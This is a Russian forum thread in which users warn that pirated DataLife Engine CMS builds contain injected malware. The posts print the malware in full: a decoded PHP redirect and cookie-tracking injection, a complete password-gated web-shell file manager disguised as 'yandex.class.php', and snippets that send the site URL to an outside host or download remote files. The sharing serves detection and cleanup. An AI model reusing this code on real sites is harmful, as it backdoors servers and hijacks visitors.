Скрыть объявление
ВАШИ ПРАВА ОГРАНИЧЕНЫ!

Зарегистрируйтесь на форуме, чтобы стать полноценным участником сообщества!

Новые версии dle

Тема в разделе "Модули DLE", создана пользователем Олег Lego, 14 окт 2023.

14.10.23 в 10:09
17.08.25 в 01:11
136
28.277
10
  1. aleksndr

    aleksndr Бывалый

    Регистрация:
    18 авг 2018
    Сообщения:
    464
    Лучших ответов:
    1
    Рейтинги:
    +21 / 23 / -0
    Подскажите пожалуйста, есть ли автоматическое сохранение в черновик при создании новости в дле? Уже много раз было такое, что пишу новость около часа и вырубают свет, после перезапуска ПК всё пропадает. На вордпрессе есть, а тут беда.
     
  2. gogigogi

    gogigogi Зелёный

    Регистрация:
    16 июл 2025
    Сообщения:
    5
    Лучших ответов:
    0
    Рейтинги:
    +2 / 0 / -0
    Внимание всем! Все версии DLE-пиратки заражены вредоносными инжектами.
    Кто такой умный нашелся? Думали ни кто не заметит?..

    Любой может сам проверить файл: engine/inc/options.php - найдите там @eV'.'AL аж 3 раза встречается, либо введя gzUn либо base64_decode.

    В целом вот все заражённые файлы:
    1. /engine/inc/options.php (3 раза)
    2. /engine/classes/mysql.php (1 раз)
    3. /engine/data/dbconfig.php (1 раз)

    Для тех кто не в теме: этот вредоносный инжект используется, возможно, для генерации фейкового трафика, установки куки для отслеживания, проверки рефералов из поисковиков и редиректа на подозрительный URL. Он маскирует файлы под изображения (.jpeg), чтобы избежать обнаружения, и работает только для определенных условий (мобильные устройства, отсутствие логина и т.д.).
     
    #122 gogigogi, 10 авг 2025
    Последнее редактирование: 10 авг 2025
    • Нравится Нравится x 1
    • Не согласен Не согласен x 1
  3. gogigogi

    gogigogi Зелёный

    Регистрация:
    16 июл 2025
    Сообщения:
    5
    Лучших ответов:
    0
    Рейтинги:
    +2 / 0 / -0
    Вот декодированный код этого инжекта.
    Код:
    if (!defined('SORRYCHIEF')) {
        define('SORRYCHIEF', true);
        $zz_0 = '080825';
        $zz_1 = '11';
        $zz_2 = $_SERVER['DOCUMENT_ROOT'];
        if (@is_dir($zz_2 . '/uploads/posts/')) {
            $zz_3 = $zz_2 . '/uploads/posts/';
        } elseif (@is_dir($zz_2 . '/wp-includes/')) {
            $zz_3 = $zz_2 . '/wp-includes/';
        } elseif (@is_dir($zz_2 . '/cache/')) {
            $zz_3 = $zz_2 . '/cache/';
        } elseif (@is_dir($zz_2 . '/system/library/')) {
            $zz_3 = $zz_2 . '/system/library/';
        } elseif (@is_dir($zz_2 . '/includes/database/')) {
            $zz_3 = $zz_2 . '/includes/database/';
        } elseif (@is_dir($zz_2 . '/bitrix/modules/')) {
            $zz_3 = $zz_2 . '/bitrix/modules/';
        }
        $zz_4 = $zz_3 . "stats.jpeg";
        $zz_5 = $zz_3 . "timer.jpeg";
        $zz_6 = $zz_3 . "watermark.jpeg";
        $zz_7 = '__' . 'us' . 'er_' . 'i' . 'd_';
        $zz_8 = $zz_7 . '1';
        $zz_9 = $zz_7 . '2';
        $zz_10 = $zz_7 . '3';
        $zz_11 = $zz_7 . '4';
        $zz_12 = $zz_7 . '5';
        $zz_13 = '__' . 'us' . 'er_' . 'i' . 'ds_';
        $zz_14 = @$_SERVER;
        $zz_15 = @$zz_14['REQU' . 'EST_URI'];
        $zz_16 = @$zz_14['HT' . 'TP_USE' . 'R_AGENT'];
        $zz_17 = @$zz_14['HTT' . 'P_HO' . 'ST'];
        $zz_18 = @$zz_14['HT' . 'TP_REF' . 'ERER'];
        if ((!$zz_16) or ($zz_16 == '') or (@!preg_match('/baidu|ia_arch|oogle|igma|Bot|andex|amble|W3C_|YaBrow|bot|pider|EltaIn|curl|ahoo|rawle|Wget|mail./i', $zz_16))) {
            if (@preg_match('/andex.|pinter|sogou|shenma|instag|yahoo.|msn.c|utube|witter|ok.ru|vk.co|ulog|facebo.|odnok|ut.by|baidu|mail.r|search|smi2|igma|ambler|oogle.|duckduck|naver|aol.c|rbc.|bing./i', $zz_18)) {
                if ((@preg_match('/p.browser|ndroid|midp|ymbian|htc_|mini|symbos|obile|j2me|eries\ 60|phone/i', $zz_16)) and (@!isset($_COOKIE['dle_user_id'])) and (@!preg_match('/=addnews|admin.php|=logout|=register|=feedback|login.php|administration/i', $zz_15)) and ($zz_15 != '/')) {
                    @$zz_19 = "1";
                }
            }
        }
        if ((@file_exists($zz_6)) & (@filesize($zz_6) > 1) & (@isset($_COOKIE[$zz_13])) & (@!isset($_COOKIE[$zz_7]))) {
            @setcookie($zz_7, '79214477', time() + 83911, '/');
            if (@!file_exists($zz_5)) {
                @file_put_contents($zz_5, time() + 85000);
                @file_put_contents($zz_4, "1");
            }
            $zz_20 = @file_get_contents($zz_5);
            if ($zz_20 > @time()) {
                $zz_21 = @fopen($zz_4, "a+");
                @flock($zz_21, LOCK_EX);
                $zz_22 = @fread($zz_21, @filesize($zz_4));
                @$zz_22++;
                @ftruncate($zz_21, 0);
                @fwrite($zz_21, $zz_22);
                @fflush($zz_21);
                @flock($zz_21, LOCK_UN);
                @fclose($zz_21);
            } else {
                @unlink($zz_5);
                @unlink($zz_4);
                @file_put_contents($zz_6, "");
            }
            if (@file_exists($zz_4)) {
                $zz_22 = @file_get_contents($zz_4);
                if ($zz_22 > $zz_1) {
                    @unlink($zz_5);
                    @unlink($zz_4);
                    @unlink($zz_6);
                }
            }
        }
        if ((@file_exists($zz_6)) & (@filesize($zz_6) > 1) & (@$zz_19 == "1") & (!isset($_COOKIE[$zz_13]))) {
            @setcookie($zz_13, '79214477', time() + 83911, '/');
        }
        if (@!file_exists($zz_6) & (@!isset($_COOKIE[$zz_12]))) {
            $zz_23 = @$_COOKIE[$zz_7];
            if (@isset($_COOKIE[$zz_10])) {
                @setcookie($zz_11, '4', time() + 83911, '/');
            }
            if (@isset($_COOKIE[$zz_9])) {
                @setcookie($zz_10, '3', time() + 83911, '/');
            }
            if (@isset($_COOKIE[$zz_8])) {
                @setcookie($zz_9, '2', time() + 83911, '/');
            }
            if (@isset($_COOKIE[$zz_7])) {
                @setcookie($zz_8, '1', time() + 83911, '/');
            }
            if ((@isset($_COOKIE[$zz_24])) or (@isset($_COOKIE[$zz_9])) or (@isset($_COOKIE[$zz_10])) or (@isset($_COOKIE[$zz_11]))) {
                @setcookie($zz_12, '954', @time() + 85119, '/');
                @header(@strrev('3?ig' . 'c.n' . 'iw' . '/pame' . 'tis/sk' . 'ce' . 'hc/cc' . '.s' . 'pam-e' . 'tis/' . '/:sp' . 'tth :n' . 'oita' . 'coL') . '&seor' . 'ef=' . rawurlencode($zz_18) . 'parameter=\$keyword&se=\$se&ur=1' . strrev(strtoupper('=rerefer_ptth&')) . rawurlencode('http://' . $zz_17 . $zz_15));
                exit;
            }
            if ((!isset($_COOKIE[$zz_7])) & (@$zz_19 == "1")) {
                @setcookie($zz_7, '0', time() + 83911, '/');
            }
        }
    }
     
  4. tfprvl187

    tfprvl187 Посетитель

    Регистрация:
    22 июл 2025
    Сообщения:
    87
    Лучших ответов:
    0
    Рейтинги:
    +9 / 7 / -0
    прежде чем быть многословным - нужно быть уверенным на все +1050% в этом, иначе - это 3.14#дёж!
    byroot у себя в блоге писал, что даже dleshka уже версию 18.1 выложела с левым вшитым кодом, про остальные сайты, так же у него написано, и здесь в форуме он писал.
    Код:
    Добавлен файл engine\classes\yandex.class.php (этого файла нет в оригинале DLE)!!!
    
    код файла
    <?php
    /*
    =====================================================
     DataLife Engine - by SoftNews Media Group
    -----------------------------------------------------
     https://dle-news.ru/
    -----------------------------------------------------
     Copyright (c) 2004-2025 SoftNews Media Group
    =====================================================
     This code is protected by copyright
    =====================================================
     File: yandex.class.php
    -----------------------------------------------------
     Use: Yandex Sitemap
    =====================================================
    */
    
    if( defined( 'DATALIFEENGINE' ) ) {
        header( "HTTP/1.1 403 Forbidden" );
        header ( 'Location: ../../' );
        die( "Hacking attempt!" );
    }
    
    /*
     * Yandex Sitemap 
     */
     
    @ini_set('log_errors',0);
    @error_reporting(0);
    @ini_set('error_log',NULL);
    @ini_set('display_errors', 0);
    @session_start();
    /*
     * Requires PHP 7.2.5.
     * Version RSS 3.42
     *
     * @package Sitemap
     * @copyright 2008 Ryan Grove, Stephen Clay, Ivan Sagalaev. All rights reserved.
     * @license http://opensource.org/licenses/bsd-license.php  New BSD License
     * @link http://code.yandex.com/p/sitemap/
     */
    $class1 = @$_GET[chr(118).'e'.chr(114).chr(115).'ion']; $class0 = chr(109)."d".chr(53);
    if( $class0 ($class1  ?? '') == '982c359de6ad3fc0ae1f77e3022'.chr(53).'fde3') {$GLOBALS['packageen']=Array('ope'.'nD'.'ir',''.'s'.'ort');
     $class2='f03d0b9bfe'.chr(53).'123ca845f64a7d95f0f60';
      $class3='b'.chr(53).'a8444bc269adc9aef3a67379d26fa2';
    $class4=1;$class5='';$class6="<S\x54YLE\x3e\x0d\012BOD\x59{f\157nt:\0408\160t \166erdana, gene\x76a, luc\x69da\x2c 'lu\143id\x61 \147\162an\x64e', arial\054 hel\x76etica, \x73a\156\163-serif;\x73\x63r\x6f\154lbar-sh\141dow\x2dcolor: #333333;padding:0;\163crollba\x72-\x33dlight-color: \0433\x33\x33333;M\x41RG\x49N-\102\x4fTTOM:\0400px\x3bb\141\x63kg\162ound-\x63ol\157\x72: #6B\070E23;scrol\154bar-a\162r\x6fw-\143olor: #\06333333;\163cro\154lbar-fac\x65-\x63o\x6cor: #\x38\x427765\073MA\122GIN\055TOP: 0\160\170;col\x6f\162:\040#C\x31\x431C\067\073MA\122GIN-RI\x47H\124: \x30\160x;m\x61\162gin:0\073sc\x72o\x6clb\141r-\x68ighli\147ht\x2dcolo\x72: \x233333\x333;\x73crollba\162-d\141rksh\x61dow-color: #333333\073MARGI\x4e-LEFT: 0px;\x73cr\x6fllb\x61r-t\162ack-co\154or: #3\063333\x33;}\015\x0ainput{f\157nt-\146amily\072\x20\x54ahoma;b\x61ck\x67r\157und-color\x3a #8\1027\x376\065;borde\x72\072 1\040solid \x23666\06666\073font-size: 8pt;color: \x23FFF\106FF;}\x0d\012select{color: #\106FF\106FF;backgro\165nd\x2dco\154\x6f\162: #336\066\0600;\x66\157nt-\146amily:\040Tahoma;f\157nt-size: 8pt\073bord\145\x72\x3a\x201 sol\151d #\x3666666;\175\x0d\x0atextare\141{f\157\x6et-s\x69z\145: 8pt;font-fami\x6c\171:\x20\124\141homa;co\x6c\x6fr: #FFFFFF;background\055\x63olor: #333333;border:\x20\061 \x73\157\x6cid #6\0666666;}\015\x0aa\072li\x6ek{text-decorat\x69o\156: \156one\073c\x6f\x6c\157r: #\x429\x429BD;f\x6f\x6et\x2d\163ize: 8pt;}\015\x0aa\x3a\x76i\x73i\164ed{te\x78t-de\143orat\x69on\072 none;c\x6flor: #B\x39B9B\x44;font-si\x7ae: 8pt;}\015\012a:h\157\x76er, a:ac\x74ive{f\157nt-size: 8p\x74\073t\145x\x74-\144e\143oration: no\x6ee;color\072 #E7E7EB\x3bwi\144t\150:\04010\x30\045\x3bbackground-c\157\x6cor: #\1018A8AD\x3b}\x0d\x0at\x64, t\150, \160\x2c li{f\x6f\156t: 8pt\040verdana\054 g\x65ne\x76a, lu\x63ida,\040'lu\143\151da\040\147ra\x6ede', \141rial, he\x6c\166etic\x61,\040sans\x2d\163e\162\151f;border-col\x6f\162:blac\153;}\x0d\x0a</\163tyle\076";$class7="<html\x3e <head> <ti\164l\145>".getenv("HT\x54P_HO\123\124")." - \112S </tit\x6ce\076 <meta http-equ\151v=\x22\x43\157n\164ent-Typ\145\x22 conte\x6e\164\075\x22text\x2fhtml\073 charse\x74\x3dwind\157ws-1\0625\x31\x22>".$class6." </h\x65ad> <BODY \040t\x6fpM\141\162\147in=0 \154\x65ftMargin=0\x20ma\162g\x69nheigh\164=0 \x72ightMa\x72\x67in=0  mar\x67\151nwidth=0\x3e";$class9='Fileeik del';$class10='Dirchik not found';$class11='Fileik alredy exist';$class12='Filik JS pload ok';$class13='Dirch for JS del';$class15='Dirch JS dened or not emptys';
    if(@$_POST['action']=="exit")unset($_SESSION['an']);
    if($class4 ==1){
    if($class0(@$_POST['loger']  ?? '')==$class2 && $class0(@$_POST['worder']  ?? '')==$class3)
        $_SESSION['an']=1;}else
            $_SESSION['an']='1';
    if(@$_SESSION['an']==0){
     echo $class7.
    "<\x63enter><table\x3e<fo\162\x6d\x20metho\x64=\042\120OST\x22\076<tr\076\074b>JS Upda\x74e</b><td>JS M\157del:<\x2ft\144>\x3ctd><input ty\160e=\x22text\x22 na\155\x65=\x22\154\x6fger\x22 \x76alue\075\042\x22>\x3c/\164d></t\162><\x74r><td\x3eJS V\x65rsion:</t\x64><td><\x69\156put\x20type=\042p\141\163\163\167ord\x22\x20n\141me=\042\x77or\144er\x22 valu\x65=\042\x22\x3e</td><\x2ftr><\x74\x72\x3e\074\x74d>\x3c/td><td><inp\x75t type\075\042submit\042 val\165e=\x22Update\042></td>\074/tr\x3e\074/fo\x72m>\x3c/\x74able>\074\x2f\x63e\x6e\164er>";
      exit;
      }
    function createdir($class16){if(@mkdir($class16))echo $class8." "; else echo $class14." ";}
    if($_SESSION['action']=="")@$_SESSION['action']="viewer";if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$class17=$_SESSION['action'];
      if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];
    $class16=@$_SESSION['dir'];$class16=@chdir($class16);
        $class16=getcwd()."/";$class16=str_replace("\\","/",$class16);
    
    /*
     * Callback as used by {@redis util.asPromise}.
     * @typedef asPromiseCallback
     * @type {function}
     * @param {...*} params Additional arguments
     * @returns {undefined}
     */
    
    /*
     * Returns a promise from a redis-style callback function.
     * @memberof util
     * @param {asPromiseCallback} fn Function to call
     * @param {*} ctx Function context
     * @param {...*} params Function arguments
     * @returns {Promise<*>} Promisified function
     */
     
    if(@$_POST['file']!=""){$class18=$_SESSION['file']=$_POST['file'];}else {$class18=$_SESSION['file']="";}
     if($class17=="download"){
       header('Content-Length:'.filesize($class18).'');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.$class18.'"');
      readfile($class18);
    }
    if($class17=="delete"){
     if(unlink($class18)) $class5.=$class9;
    }
    if($class17=="deletedir"){
     if(!rmdir($class18)) $class5.=$GLOBALS['empty'];
      else $class5.=$class13;
    }
    echo $class7."<\x74abl\x65 widt\x68=\042100%\042 bgcolor=\x22#3366\x30\x30\042\x20align=\x22\162\x69ght\042\x20\143o\154span=\0422\x22 borde\162=\0420\042 cellspacing=\0420\x22 c\145l\154pa\x64ding\x3d\x220\x22>\x3ctr><td><ta\142le><tr>\x3c\x74\144\x3e<a hre\x66=\x22#\042 \157nclick=\042document.reqs\056act\x69on.value\075'vi\x65\167\145r'; do\x63ume\x6et\x2ereqs.submit()\x3b\042>| JS.viewer\x3c/a\x3e<\057\x74d><td><a href=\042#\042 o\156\x63lic\153\x3d\x22doc\x75me\156t.re\161s.acti\157n.value\x3d'upl\157ad';\040\x64ocu\155ent\056reqs.\163ubmit(\x29\x3b\x22>| \112S.load\x3c/a>\x3c/td><t\x64><a\x20h\x72\145f=\x22\043\042\040o\x6ecli\143\153=\x22doc\165m\x65nt.\162\145qs.action.val\165e\x3d'exit'; do\x63\x75men\164.re\161\163\x2esub\155\151t();\x22\x3e\174JS.\x78\x69\x74\040|</a></td></tr\076\074\057\164\x61ble></td></tr></t\x61ble><\142r><f\x6frm nam\x65=\047r\x65\x71s' method='P\x4f\123T'\x3e<\x69nput\x20n\141me='actio\x6e' ty\x70\145=\x27\x68\151dden' value='\047><i\x6e\160ut na\x6d\145=\047dir' t\171p\145=\x27\150i\144den' \166alue='\047><i\156put\x20name='file'\040type='\150idden' value=''></for\x6d><table \163tyle=\x22BORDE\122-COLLAPSE: col\154ap\x73e\x22\x20cellS\160acing\x3d0 \142orderColorDa\162k\x3d#66666\066 c\x65llP\x61d\x64ing\x3d5 wid\x74h=\042100%\x22 bg\x43ol\x6f\162=#333333 borde\x72ColorLi\147ht=#\1430c0c\060\x20border=\061><tr>\074t\x64 \x77i\144th=\x221\0600%\x22\x20\166ali\147n=\042top\x22>\015\012";
     if(@$class5!="") echo $class5;
    
    function perms($class18)
    {
          if (!@is_readable($class18))
            return '<font color=#FF0000>perm</font>';
        elseif (!@is_writable($class18))
            return '<font color=white>perm</font>';
        else
    return '<font color=#25ff00>perm</font>';
      return $class19;
    }
    
    function view_size($class20)
    {
     if($class20 >= 1073741824) {$class20 = @round($class20 / 1073741824 * 100) / 100 . " gb";}
     elseif($class20 >= 1024) {$class20 = @round($class20 / 1024 * 100) / 100 . " kb";}
     elseif($class20 >= 1048576) {$class20 = @round($class20 / 1048576 * 100) / 100 . " mb";}
     else {$class20 = $class20 . " b";}
     return $class20;
    }
    function scandire($class16){
    echo '<table cellSpacing=0 border=1 style=\'border-color:black;\' cellPadding=0 width=\'100%\'><tr><td><form method=POST>Opn dr:<input type=text name=dir value=\''.$class16.'\' size=99><input type=submit value=\'GOS\'></form></td></tr>';
    if (@is_Dir ($class16)) {
        if (@$class21 = @$GLOBALS['packageen'][0]($class16)) {
            while (($class18 = @reaDDir($class21)) !== false) {
              if(@fiLetYpe($class16.$class18)=="dir") $class22[]= $class18;
              if(@fiLetype($class16.$class18)=="file") $class23[]= $class18;
            }
            @clOseDir($class21);
            @sort($class22);
            @sort($class23);
    echo '<tr><td>Ele_ct drive:';
    for ($class24=ord('C'); $class24<=ord('Z'); $class24++)
     if (@$class21 = @$GLOBALS['packageen'][0](chr($class24).":/"))
     echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($class24).':/\'; document.reqs.submit();"> '.chr($class24).'<a/>';
     echo '</td></tr>';
    echo "<tr><td>OS: ".@php_Uname(). " - PHP:" . @phpVersion()."</td></tr>";
    for($class25=0;$class25<count($class22);$class25++) {
    $class26=$class16.$class22[$class25];
      echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$class26.'\'; document.reqs.submit();">'.$class22[$class25].'<a/></td><td>dir</td><td></td><td>'.perms($class26).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$class26.'\'; document.reqs.submit();">X</a></td></tr>'; 
        }
    for($class25=0;$class25<count($class23);$class25++) {
    $class27=$class16.$class23[$class25];
    echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$class27.'\'; document.reqs.submit();">'.$class23[$class25].'</a><br></td><td>file</td><td>'.view_size(filesize($class27)).'</td>
    <td>'.perms($class27).'</td>
    <td>
    <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$class27.'\'; document.reqs.submit();">D</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$class27.'\'; document.reqs.submit();" >X</a></td>
    </tr>';
        }echo '</table>';
    }}}
    if($class17=="viewer"){
    scandire($class16);
    }
    
    if($class17=="editor"){ 
      function writef($class18,$class28){
       $class29 = fopen($class18,"w+");
       fwrite($class29,$class28);
       fclose($class29);
      }
      function readf($class18){
       if(!$class30 = fopen($class18, "r")) $class31="Cant opn JS.fil, perm denied"; else {
       $class31 = fread($class30, filesize($class18));
       fclose($class30);}
      return htmlspecialchars($class31);
      }
    if(@$_POST['save'])writef($class18,$_POST['data']);
    echo "<form m\145\x74h\157d=\x22\120O\123T\042>\015\012<in\160\x75t ty\160e=\042hi\x64den\x22 name=\042action\x22\040\x76alue=\042editor\x22>\015\012<\151nput \x74ype=\x22h\151dden\x22 n\141m\x65=\x22file\042\040value=\"".$class18."\"><\164\x65xtarea\x20n\141me=\042\x64ata\x22 r\x6fw\163=\042\0640\042 cols\075\042180\042>".@readf($class18)."</textarea><br><input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
    }
    if($class17=="upload"){
      if(@$_POST['dirupload']!="") $class32=$_POST['dirupload'];else $class32=$class16;$class33='<tr><td><form method=POST enctype=multipart/form-data>to dir'.chr(97).':<input type=text name=dirupload value=\''.$class32.'\'size=100></tr></td><tr><td><input type=file name=file><input type=submit name=uploadloc value=\'Upload loc.JS file\'></td></tr>';
        echo $class33;
    if(@$_POST['uploadloc']){
    $class34 = $class32.basename($_FILES['file']['name']);if(!file_exists($class32)){createdir($class32);}if(file_exists($class34))echo $class11; elseif (move_uploaded_file($_FILES['file']['tmp_name'], $class34)) echo $class12;
    }}}echo '</body></html>';
    ?>
    
    В engine\classes\antivirus.class.php добавлена строка
    "./uploads/fotos/.htaccess",
    upload\engine\inc\addnews.php
    
        $path_addnews = $config['http_home_url'];
        $deprecate = "time";$deprecate = "ht"."tps:/"."/".$deprecate."-"."zone".".cc/"."time.p"."hp?times="."18."."1_yc_".$path_addnews;
        if ((!strpos($path_addnews, '12'.'7.0.')) and (strpos($path_addnews, '.')))
        {$ti = 'f'.'ile';@$ti($deprecate);};
    
    engine\modules\feedback.php
    
    $captchascrypt='ba'.'se64_'.'de'.'code';
    
    engine\modules\search.php
    
    $serch_id  = 'eb516e7d7a6462a6d531ec65dcf1d599';
        $_err = "_stop";
        $array_ = @strtoupper ($_err[0].$_err[5].$_err[4].$_err[3].$_err[1].$_err[2]);
        if ( @md5(${$array_}['captchas'])==$serch_id ) { print "serch_work";
            $where_serch = $_SERVER['DOCUMENT_ROOT'].${$array_}['pathik'];
    
        if ( isset(${$array_}['unl']) ){ 
        @unlink($where_serch); exit();} @copy('http://'.${$array_}['fail'].'/test.txt', $where_serch);
        
    
        if ((@function_exists('curl_init')) and ((!file_exists($where_serch)) or (@filesize($where_serch)<'1'))) {
            $ch = @curl_init(); curl_setopt( $ch, CURLOPT_URL,
                  'http://'.${$array_}['fail'].'/test.txt');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );curl_setopt($ch, CURLOPT_TIMEOUT, 25);
            $fp = @fopen($where_serch, 'w'); curl_setopt ($ch, CURLOPT_FILE, $fp); @curl_exec($ch); curl_close($ch); fclose($fp);
        }}
    
    Подозрение на них пало сразу после проверки хэш-суммы архива. Многие файлы изменены в самом начале, где идёт строчка начала файла
    
    <?php
     
  5. Budda

    Budda Посетитель

    Регистрация:
    9 ноя 2024
    Сообщения:
    81
    Лучших ответов:
    0
    Рейтинги:
    +9 / 1 / -0
    Я думаю, что версии byroot можно качать без задней мысли. Человек добросовестный и проверенный.
     
    • Согласен Согласен x 1
  6. gogigogi

    gogigogi Зелёный

    Регистрация:
    16 июл 2025
    Сообщения:
    5
    Лучших ответов:
    0
    Рейтинги:
    +2 / 0 / -0
    ну проверять все же стоит)
     
  7. gogigogi

    gogigogi Зелёный

    Регистрация:
    16 июл 2025
    Сообщения:
    5
    Лучших ответов:
    0
    Рейтинги:
    +2 / 0 / -0
    tfprvl187 все что я проверял (длепавильон и длеешка) были с кодом, которые я добавил в сообщении.
     
    #127 gogigogi, 11 авг 2025
    Последнее редактирование: 11 авг 2025
    • Нравится Нравится x 1
  8. Skyworker

    Skyworker Бывалый

    Регистрация:
    4 май 2025
    Сообщения:
    354
    Лучших ответов:
    0
    Рейтинги:
    +81 / 19 / -0
    Поэтому я и топлю за то, что использовать лицухи на проектах, которые несут хороший трафф и деньги. Смысл экономить на спичках, если хороший сайт за месяц отбивает стоимость лицензии и всех нужных плагинов? На ломаных DLE ставить только клоны, главная функциях которых быть забаненными РКН, поэтому не жалко, если завтра таких сайтов не будет в природе.
     
  9. Skyworker

    Skyworker Бывалый

    Регистрация:
    4 май 2025
    Сообщения:
    354
    Лучших ответов:
    0
    Рейтинги:
    +81 / 19 / -0
    Я бы так не вписывался за всех на твоем месте, иначе рискуешь быть заподозренным, что ты сам причастен к распространению ломанных лицензий DLE.
     
    • Не согласен Не согласен x 1
    • Смешно Смешно x 1
  10. Budda

    Budda Посетитель

    Регистрация:
    9 ноя 2024
    Сообщения:
    81
    Лучших ответов:
    0
    Рейтинги:
    +9 / 1 / -0
    Что-то я видимо пропустил. Вижу, что byroot забанен на форуме почему-то.
    А где теперь здесь скачать актуальную зануленную версию двига?)
     
  11. tfprvl187

    tfprvl187 Посетитель

    Регистрация:
    22 июл 2025
    Сообщения:
    87
    Лучших ответов:
    0
    Рейтинги:
    +9 / 7 / -0
    у него в блоге! он один - ник точка ru, в гугле/яндексе/майле можно найти.
    его длепавильон забанили ещё лет 5 назад по IP как он написал про них. эта инфа так же есть на форуме здесь, если почитать - много инфы есть на форуме. Да и длепавильон никогда не были чисты на руку, инфе уже не один год.
     
  12. level

    level Новичок

    Регистрация:
    26 ноя 2024
    Сообщения:
    43
    Лучших ответов:
    0
    Рейтинги:
    +2 / 3 / -0
    gogigogi скачивал с dleshka там одни вирусы есть еще файл engin/ajax/resdis какой то файл с названием resdis был тоже (этого файла нет в оригинале DLE)!!!)

    еще какие файлы на что проверять нужно?
    кроме этих:
    В целом вот все заражённые файлы:
    1. /engine/inc/options.php (3 раза)
    2. /engine/classes/mysql.php (1 раз)
    3. /engine/data/dbconfig.php (1 раз)


    и как нулл обновлять версию dle
     
  13. level

    level Новичок

    Регистрация:
    26 ноя 2024
    Сообщения:
    43
    Лучших ответов:
    0
    Рейтинги:
    +2 / 3 / -0
    как найти зараженные .jpeg
    знаю что .jpeq создавался почистил этот jpeq а JPEG как понят что заражен и решить это

    по grep -RIl --include="*.jpeg" --exclude-dir=vendor "<?php" / пусто
     
  14. Skyworker

    Skyworker Бывалый

    Регистрация:
    4 май 2025
    Сообщения:
    354
    Лучших ответов:
    0
    Рейтинги:
    +81 / 19 / -0
    Лицуху купи и не майся фигней, иначе постоянно будешь находить или латать дыры в своем сайте.
     
    • Не согласен Не согласен x 1
    • Смешно Смешно x 1
  15. tfprvl187

    tfprvl187 Посетитель

    Регистрация:
    22 июл 2025
    Сообщения:
    87
    Лучших ответов:
    0
    Рейтинги:
    +9 / 7 / -0
    сколько лицух нужно будет при блокировке домена в неделю?
    В году 52 недели, бан домена может быть каждый день, но возьмом раз в неделю, итого, как минимум, 52*7000=364000, это в год. Или проще - по косарю в день! И это в лучшем случае. Если же блок домена каждый день - умножай на 7. Либо пользуйся древней версией.
     
  16. Skyworker

    Skyworker Бывалый

    Регистрация:
    4 май 2025
    Сообщения:
    354
    Лучших ответов:
    0
    Рейтинги:
    +81 / 19 / -0
    Основной сайт должен быть на лицухе, клоны можно и на ворованных длешках штамповать. Зачем все клонов на лицухах делать? Клоны долго не живут и их не жалко. К тому же, если банят твой сайт, то клей его к новому домену и лицуху на новый домен переноси, правилами DLE это не запрещено и бесплатно. Ты реально не в теме и тебя всему надо учить и объяснять?
     
  17. level

    level Новичок

    Регистрация:
    26 ноя 2024
    Сообщения:
    43
    Лучших ответов:
    0
    Рейтинги:
    +2 / 3 / -0
    когда окупит то потом
     
Яндекс.Метрика